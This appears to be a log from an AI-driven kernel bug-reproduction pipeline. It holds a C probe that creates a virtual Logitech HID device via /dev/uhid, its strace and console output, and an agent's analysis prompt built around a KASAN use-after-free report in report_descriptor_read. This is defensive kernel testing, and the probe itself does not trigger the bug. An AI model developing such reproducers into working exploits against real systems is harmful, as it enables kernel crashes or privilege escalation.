if (uhid_fd < 0) {
printf("[-] Failed to open /dev/uhid: %s\n", strerror(errno));
return 1;
}
printf("[+] /dev/uhid opened successfully.\n");
printf("[*] Creating virtual HID device...\n");
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
strcpy((char*)ev.u.create2.name, "test-uhid");
ev.u.create2.rd_size = 85; // FFG_RDESC_ORIG_SIZE
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = 0x046d;
ev.u.create2.product = 0xc293;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
printf("[-] Failed to write to /dev/uhid: %s\n", strerror(errno));
return 1;
}
printf("[+] Virtual HID device created.\n");
printf("[*] Waiting for device to appear in sysfs...\n");
char dev_name[256] = {0};
for (int i = 0; i < 50; i++) {
DIR *dir = opendir("/sys/bus/hid/devices");
if (dir) {
struct dirent *ent;
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, "0003:046D:C293")) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] == '\0') {
printf("[-] Device not found in /sys/bus/hid/devices/\n");
return 1;
}
printf("[+] Device found: %s\n", dev_name);
printf("[*] Checking for hid-logitech driver...\n");
int bind_fd = open("/sys/bus/hid/drivers/logitech/bind", O_WRONLY);
if (bind_fd < 0) {
printf("[-] Failed to open /sys/bus/hid/drivers/logitech/bind: %s\n", strerror(errno));
return 1;
}
close(bind_fd);
printf("[+] hid-logitech driver is available.\n");
printf("[*] Checking for report_descriptor file...\n");
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
printf("[-] Failed to open %s: %s\n", path, strerror(errno));
return 1;
}
close(fd);
printf("[+] report_descriptor file opened successfully.\n");
printf("[*] Cleaning up...\n");
memset(&ev, 0, sizeof(ev));
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
printf("[+] Probe successful.\n");
return 0;
}
]
|
| 94/3 |
2026/05/19 10:07 |
loop |
|
0m
|
| 95/4 |
2026/05/19 10:07 |
iteration |
0 |
0m
|
| 96/5 |
2026/05/19 10:07 |
action |
merge-repro-c |
0m
Results: map[CurrentCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <dirent.h>
#include <errno.h>
#include <linux/uhid.h>
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
int main() {
SETUP_UNBUFFERED_IO();
printf("[*] Probing for /dev/uhid...\n");
int uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
printf("[-] Failed to open /dev/uhid: %s\n", strerror(errno));
return 1;
}
printf("[+] /dev/uhid opened successfully.\n");
printf("[*] Creating virtual HID device...\n");
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
strcpy((char*)ev.u.create2.name, "test-uhid");
ev.u.create2.rd_size = 85; // FFG_RDESC_ORIG_SIZE
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = 0x046d;
ev.u.create2.product = 0xc293;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
printf("[-] Failed to write to /dev/uhid: %s\n", strerror(errno));
return 1;
}
printf("[+] Virtual HID device created.\n");
printf("[*] Waiting for device to appear in sysfs...\n");
char dev_name[256] = {0};
for (int i = 0; i < 50; i++) {
DIR *dir = opendir("/sys/bus/hid/devices");
if (dir) {
struct dirent *ent;
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, "0003:046D:C293")) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] == '\0') {
printf("[-] Device not found in /sys/bus/hid/devices/\n");
return 1;
}
printf("[+] Device found: %s\n", dev_name);
printf("[*] Checking for hid-logitech driver...\n");
int bind_fd = open("/sys/bus/hid/drivers/logitech/bind", O_WRONLY);
if (bind_fd < 0) {
printf("[-] Failed to open /sys/bus/hid/drivers/logitech/bind: %s\n", strerror(errno));
return 1;
}
close(bind_fd);
printf("[+] hid-logitech driver is available.\n");
printf("[*] Checking for report_descriptor file...\n");
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
printf("[-] Failed to open %s: %s\n", path, strerror(errno));
return 1;
}
close(fd);
printf("[+] report_descriptor file opened successfully.\n");
printf("[*] Cleaning up...\n");
memset(&ev, 0, sizeof(ev));
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
printf("[+] Probe successful.\n");
return 0;
}
]
|
| 97/5 |
2026/05/19 10:07 |
action |
compile-c-prog |
0m
Results: map[CompilerError: FormattedReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <dirent.h>
#include <errno.h>
#include <linux/uhid.h>
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
int main() {
SETUP_UNBUFFERED_IO();
printf("[*] Probing for /dev/uhid...\n");
int uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
printf("[-] Failed to open /dev/uhid: %s\n", strerror(errno));
return 1;
}
printf("[+] /dev/uhid opened successfully.\n");
printf("[*] Creating virtual HID device...\n");
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
strcpy((char*)ev.u.create2.name, "test-uhid");
ev.u.create2.rd_size = 85; // FFG_RDESC_ORIG_SIZE
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = 0x046d;
ev.u.create2.product = 0xc293;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
printf("[-] Failed to write to /dev/uhid: %s\n", strerror(errno));
return 1;
}
printf("[+] Virtual HID device created.\n");
printf("[*] Waiting for device to appear in sysfs...\n");
char dev_name[256] = {0};
for (int i = 0; i < 50; i++) {
DIR *dir = opendir("/sys/bus/hid/devices");
if (dir) {
struct dirent *ent;
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, "0003:046D:C293")) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] == '\0') {
printf("[-] Device not found in /sys/bus/hid/devices/\n");
return 1;
}
printf("[+] Device found: %s\n", dev_name);
printf("[*] Checking for hid-logitech driver...\n");
int bind_fd = open("/sys/bus/hid/drivers/logitech/bind", O_WRONLY);
if (bind_fd < 0) {
printf("[-] Failed to open /sys/bus/hid/drivers/logitech/bind: %s\n", strerror(errno));
return 1;
}
close(bind_fd);
printf("[+] hid-logitech driver is available.\n");
printf("[*] Checking for report_descriptor file...\n");
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
printf("[-] Failed to open %s: %s\n", path, strerror(errno));
return 1;
}
close(fd);
printf("[+] report_descriptor file opened successfully.\n");
printf("[*] Cleaning up...\n");
memset(&ev, 0, sizeof(ev));
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
printf("[+] Probe successful.\n");
return 0;
}
]
|
| 98/3 |
2026/05/19 10:07 |
action |
run-c-repro |
2m
Results: map[CandidateBugTitle: CandidateCrashReport: CandidateReproduced:false ConsoleOutput:Warning: Permanently added '[localhost]:14506' (ED25519) to the list of known hosts.
[*] Probing for /dev/uhid...
[+] /dev/uhid opened successfully.
[*] Creating virtual HID device...
[+] Virtual HID device created.
[*] Waiting for device to appear in sysfs...
[+] Device found: 0003:046D:C293.0001
[*] Checking for hid-logitech driver...
[+] hid-logitech driver is available.
[*] Checking for report_descriptor file...
[ 71.396601][ T797] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[+] report_descriptor file opened successfully.
[*] Cleaning up...
[+] Probe successful.
[ 76.519089][ T1380] ieee802154 phy0 wpan0: encryption failed: -22
[ 76.521550][ T1380] ieee802154 phy1 wpan1: encryption failed: -22
OtherCrashReports:<nil> StraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor578967218
<...>
Warning: Permanently added '[localhost]:43664' (ED25519) to the list of known hosts.
execve("/syz-executor578967218", ["/syz-executor578967218"], 0x7fff945b8f30 /* 11 vars */) = 0
brk(NULL) = 0x555562898000
brk(0x555562898d80) = 0x555562898d80
arch_prctl(ARCH_SET_FS, 0x555562898400) = 0
set_tid_address(0x5555628986d0) = 5879
set_robust_list(0x5555628986e0, 24) = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor578967218", 4096) = 22
getrandom("\xac\x68\x2e\x89\xf6\x90\x85\xad", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x555562898d80
brk(0x5555628b9d80) = 0x5555628b9d80
brk(0x5555628ba000) = 0x5555628ba000
mprotect(0x7f8c36370000, 20480, PROT_READ) = 0
write(1, "[*] Probing for /dev/uhid...", 28) = 28
write(1, "\n", 1) = 1
[*] Probing for /dev/uhid...
openat(AT_FDCWD, "/dev/uhid", O_RDWR) = 3
write(1, "[+] /dev/uhid opened successfully.", 34) = 34
write(1, "\n", 1) = 1
[+] /dev/uhid opened successfully.
write(1, "[*] Creating virtual HID device...", 34) = 34
[*] Creating virtual HID device...
write(1, "\n", 1) = 1
[ 71.665290][ T5695] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
write(3, "\x0b\x00\x00\x00\x74\x65\x73\x74\x2d\x75\x68\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"..., 4380) = 4380
write(1, "[+] Virtual HID device created.", 31) = 31
write(1, "\n", 1) = 1
write(1, "[*] Waiting for device to appear in sysfs...", 44) = 44
[+] Virtual HID device created.
write(1, "\n", 1) = 1
openat(AT_FDCWD, "/sys/bus/hid/devices", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 4
[*] Waiting for device to appear in sysfs...
fstat(4, {st_mode=S_IFDIR|0755, st_size=0, ...}) = 0
getdents64(4, 0x555562899790 /* 3 entries */, 32768) = 88
close(4) = 0
write(1, "[+] Device found: 0003:046D:C293.0001\n", 38) = 38
write(1, "[*] Checking for hid-logitech driver...", 39) = 39
[+] Device found: 0003:046D:C293.0001
write(1, "\n", 1) = 1
[*] Checking for hid-logitech driver...
openat(AT_FDCWD, "/sys/bus/hid/drivers/logitech/bind", O_WRONLY) = 4
close(4) = 0
write(1, "[+] hid-logitech driver is available.", 37) = 37
write(1, "\n", 1) = 1
write(1, "[*] Checking for report_descriptor file...", 42) = 42
write(1, "\n", 1) = 1
[+] hid-logitech driver is available.
[*] Checking for report_descriptor file...
openat(AT_FDCWD, "/sys/bus/hid/devices/0003:046D:C293.0001/report_descriptor", O_RDONLY) = 4
close(4) = 0
write(1, "[+] report_descriptor file opened successfully.", 47) = 47
write(1, "\n", 1) = 1
write(1, "[*] Cleaning up...", 18) = 18
write(1, "\n", 1) = 1
[+] report_descriptor file opened successfully.
[*] Cleaning up...
write(3, "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"..., 4380) = 4380
close(3) = 0
write(1, "[+] Probe successful.", 21) = 21
write(1, "\n", 1) = 1
exit_group(0) = ?
[+] Probe successful.
+++ exited with 0 +++
[ 76.491539][ T1379] ieee802154 phy0 wpan0: encryption failed: -22
[ 76.494060][ T1379] ieee802154 phy1 wpan1: encryption failed: -22
TestError:]
|
| 99/3 |
2026/05/19 10:10 |
action |
truncate-log |
0m
Results: map[TruncatedConsoleOutput:Warning: Permanently added '[localhost]:14506' (ED25519) to the list of known hosts.
[*] Probing for /dev/uhid...
[+] /dev/uhid opened successfully.
[*] Creating virtual HID device...
[+] Virtual HID device created.
[*] Waiting for device to appear in sysfs...
[+] Device found: 0003:046D:C293.0001
[*] Checking for hid-logitech driver...
[+] hid-logitech driver is available.
[*] Checking for report_descriptor file...
[ 71.396601][ T797] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[+] report_descriptor file opened successfully.
[*] Cleaning up...
[+] Probe successful.
[ 76.519089][ T1380] ieee802154 phy0 wpan0: encryption failed: -22
[ 76.521550][ T1380] ieee802154 phy1 wpan1: encryption failed: -22
TruncatedCrashReport: TruncatedStraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor578967218
<...>
Warning: Permanently added '[localhost]:43664' (ED25519) to the list of known hosts.
execve("/syz-executor578967218", ["/syz-executor578967218"], 0x7fff945b8f30 /* 11 vars */) = 0
brk(NULL) = 0x555562898000
brk(0x555562898d80) = 0x555562898d80
arch_prctl(ARCH_SET_FS, 0x555562898400) = 0
set_tid_address(0x5555628986d0) = 5879
set_robust_list(0x5555628986e0, 24) = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor578967218", 4096) = 22
getrandom("\xac\x68\x2e\x89\xf6\x90\x85\xad", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x555562898d80
brk(0x5555628b9d80) = 0x5555628b9d80
brk(0x5555628ba000) = 0x5555628ba000
mprotect(0x7f8c36370000, 20480, PROT_READ) = 0
write(1, "[*] Probing for /dev/uhid...", 28) = 28
write(1, "\n", 1) = 1
[*] Probing for /dev/uhid...
openat(AT_FDCWD, "/dev/uhid", O_RDWR) = 3
write(1, "[+] /dev/uhid opened successfully.", 34) = 34
write(1, "\n", 1) = 1
[+] /dev/uhid opened successfully.
write(1, "[*] Creating virtual HID device...", 34) = 34
[*] Creating virtual HID device...
write(1, "\n", 1) = 1
[ 71.665290][ T5695] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
write(3, "\x0b\x00\x00\x00\x74\x65\x73\x74\x2d\x75\x68\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"..., 4380) = 4380
write(1, "[+] Virtual HID device created.", 31) = 31
write(1, "\n", 1) = 1
write(1, "[*] Waiting for device to appear in sysfs...", 44) = 44
[+] Virtual HID device created.
write(1, "\n", 1) = 1
openat(AT_FDCWD, "/sys/bus/hid/devices", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 4
[*] Waiting for device to appear in sysfs...
fstat(4, {st_mode=S_IFDIR|0755, st_size=0, ...}) = 0
getdents64(4, 0x555562899790 /* 3 entries */, 32768) = 88
close(4) = 0
write(1, "[+] Device found: 0003:046D:C293.0001\n", 38) = 38
write(1, "[*] Checking for hid-logitech driver...", 39) = 39
[+] Device found: 0003:046D:C293.0001
write(1, "\n", 1) = 1
[*] Checking for hid-logitech driver...
openat(AT_FDCWD, "/sys/bus/hid/drivers/logitech/bind", O_WRONLY) = 4
close(4) = 0
write(1, "[+] hid-logitech driver is available.", 37) = 37
write(1, "\n", 1) = 1
write(1, "[*] Checking for report_descriptor file...", 42) = 42
write(1, "\n", 1) = 1
[+] hid-logitech driver is available.
[*] Checking for report_descriptor file...
openat(AT_FDCWD, "/sys/bus/hid/devices/0003:046D:C293.0001/report_descriptor", O_RDONLY) = 4
close(4) = 0
write(1, "[+] report_descriptor file opened successfully.", 47) = 47
write(1, "\n", 1) = 1
write(1, "[*] Cleaning up...", 18) = 18
write(1, "\n", 1) = 1
[+] report_descriptor file opened successfully.
[*] Cleaning up...
write(3, "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"..., 4380) = 4380
close(3) = 0
write(1, "[+] Probe successful.", 21) = 21
write(1, "\n", 1) = 1
exit_group(0) = ?
[+] Probe successful.
+++ exited with 0 +++
[ 76.491539][ T1379] ieee802154 phy0 wpan0: encryption failed: -22
[ 76.494060][ T1379] ieee802154 phy1 wpan1: encryption failed: -22
]
|
| 100/3 |
2026/05/19 10:10 |
agent |
repro-oracle |
0m
Model:
Results: map[Feedback:The probe execution was successful. All required devices, drivers, and sysfs files (/dev/uhid, hid-logitech driver, and report_descriptor file) are available and accessible. The environment is ready. Please proceed to generate the full reproducer in the next iteration. TitleMatches:false]
Instruction: You are a security researcher with deep Linux kernel background.
Analyze the results of running the reproducer and determine if it was successful.
When Reproduced is false, analyze TruncatedConsoleOutput for execution patterns
(hangs, immediate exits, syscall failures)
to provide detailed feedback on why it failed and how to fix it.
The Strace Output will contain the syscall trace if the run was successful and strace was supported.
Use this trace to identify which syscall failed or behaved unexpectedly.
If the output indicates that this was a successful probe execution (all probes passed),
set Reproduced to false but provide feedback indicating that the environment is ready
and the agent should now proceed to generate the full reproducer in the next iteration.
If reproduction failed due to environmental issues (e.g., missing permissions, missing devices,
or sandbox restrictions), assume execution might succeed with a different approach or more
robust code (e.g., adding namespace setup or better error handling), and suggest modifications
to the C code.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: KASAN: slab-use-after-free Read in report_descriptor_read
==================================================================
BUG: KASAN: slab-use-after-free in report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
Read of size 36 at addr ffff888037dd9b80 by task fido_id/24047
CPU: 0 UID: 0 PID: 24047 Comm: fido_id Tainted: G L syzkaller #0 PREEMPT(full)
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/18/2026
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:-1 [inline]
kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
__asan_memcpy+0x29/0x70 mm/kasan/shadow.c:105
report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
kernfs_file_read_iter fs/kernfs/file.c:269 [inline]
kernfs_fop_read_iter+0x451/0x6b0 fs/kernfs/file.c:298
new_sync_read fs/read_write.c:493 [inline]
vfs_read+0x582/0xa70 fs/read_write.c:574
ksys_read+0x150/0x270 fs/read_write.c:717
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f1e05ca7407
Code: 48 89 fa 4c 89 df e8 38 aa 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
RSP: 002b:00007fff31799f60 EFLAGS: 00000202 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f1e0644b880 RCX: 00007f1e05ca7407
RDX: 0000000000001000 RSI: 00007fff31799fb0 RDI: 0000000000000004
RBP: 0000563577cf9730 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000202 R12: 0000563577cf8930
R13: 00007fff31799fb0 R14: 0000000000000004 R15: 00005635507dc4d8
</TASK>
Allocated by task 19335:
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
__kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
kasan_kmalloc include/linux/kasan.h:263 [inline]
__do_kmalloc_node mm/slub.c:5295 [inline]
__kmalloc_node_track_caller_noprof+0x4db/0x7b0 mm/slub.c:5407
kmemdup_noprof+0x2b/0x70 mm/util.c:138
kmemdup_noprof include/linux/fortify-string.h:763 [inline]
hid_open_report+0x1f7/0xf00 drivers/hid/hid-core.c:1376
hid_parse include/linux/hid.h:1206 [inline]
lg_probe+0x29c/0x8a0 drivers/hid/hid-lg.c:783
__hid_device_probe drivers/hid/hid-core.c:2822 [inline]
hid_device_probe+0x416/0x7a0 drivers/hid/hid-core.c:2859
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
hid_add_device+0x272/0x3e0 drivers/hid/hid-core.c:3003
usbhid_probe+0xbab/0x1080 drivers/hid/usbhid/hid-core.c:1449
usb_probe_interface+0x659/0xc70 drivers/usb/core/driver.c:396
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
usb_set_configuration+0x1a87/0x2110 drivers/usb/core/message.c:2268
usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250
usb_probe_device+0x1c4/0x3b0 drivers/usb/core/driver.c:291
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
usb_new_device+0xa08/0x16f0 drivers/usb/core/hub.c:2695
hub_port_connect drivers/usb/core/hub.c:5567 [inline]
hub_port_connect_change drivers/usb/core/hub.c:5707 [inline]
port_event drivers/usb/core/hub.c:5871 [inline]
hub_event+0x2a1c/0x4f30 drivers/usb/core/hub.c:5953
process_one_work kernel/workqueue.c:3314 [inline]
process_scheduled_works+0xb5d/0x1860 kernel/workqueue.c:3397
worker_thread+0xa53/0xfc0 kernel/workqueue.c:3478
kthread+0x389/0x470 kernel/kthread.c:436
ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
The buggy address belongs to the object at ffff888037dd9b80
which belongs to the cache kmalloc-64 of size 64
The buggy address is located 0 bytes inside of
freed 64-byte region [ffff888037dd9b80, ffff888037dd9bc0)
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x37dd9
flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000000 ffff88813fe1a8c0 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 13665, tgid 13665 (kworker/1:7), ts 1105362433588, free_ts 1105289461309
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x231/0x280 mm/page_alloc.c:1858
prep_new_page mm/page_alloc.c:1866 [inline]
get_page_from_freelist+0x24ba/0x2540 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5226
alloc_slab_page mm/slub.c:3278 [inline]
allocate_slab+0x77/0x660 mm/slub.c:3467
new_slab mm/slub.c:3525 [inline]
refill_objects+0x339/0x3d0 mm/slub.c:7271
refill_sheaf mm/slub.c:2816 [inline]
__pcs_replace_empty_main+0x321/0x720 mm/slub.c:4651
alloc_from_pcs mm/slub.c:4749 [inline]
slab_alloc_node mm/slub.c:4883 [inline]
__kmalloc_cache_noprof+0x392/0x660 mm/slub.c:5414
kmalloc_noprof include/linux/slab.h:950 [inline]
kzalloc_noprof include/linux/slab.h:1188 [inline]
ath6kl_usb_alloc_pipe_resources drivers/net/wireless/ath/ath6kl/usb.c:193 [inline]
ath6kl_usb_setup_pipe_resources drivers/net/wireless/ath/ath6kl/usb.c:406 [inline]
ath6kl_usb_create drivers/net/wireless/ath/ath6kl/usb.c:670 [inline]
ath6kl_usb_probe+0xdba/0x15a0 drivers/net/wireless/ath/ath6kl/usb.c:1143
usb_probe_interface+0x659/0xc70 drivers/usb/core/driver.c:396
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
page last free pid 23 tgid 23 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1402 [inline]
__free_frozen_pages+0xbc7/0xd30 mm/page_alloc.c:2943
__tlb_remove_table_free mm/mmu_gather.c:228 [inline]
tlb_remove_table_rcu+0x85/0x100 mm/mmu_gather.c:291
rcu_do_batch kernel/rcu/tree.c:2617 [inline]
rcu_core+0x7cd/0x1070 kernel/rcu/tree.c:2869
handle_softirqs+0x22a/0x840 kernel/softirq.c:622
run_ksoftirqd+0x36/0x60 kernel/softirq.c:1076
smpboot_thread_fn+0x541/0xa50 kernel/smpboot.c:160
kthread+0x389/0x470 kernel/kthread.c:436
ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
Memory state around the buggy address:
ffff888037dd9a80: 00 00 00 00 04 fc fc fc fc fc fc fc fc fc fc fc
ffff888037dd9b00: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
>ffff888037dd9b80: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
^
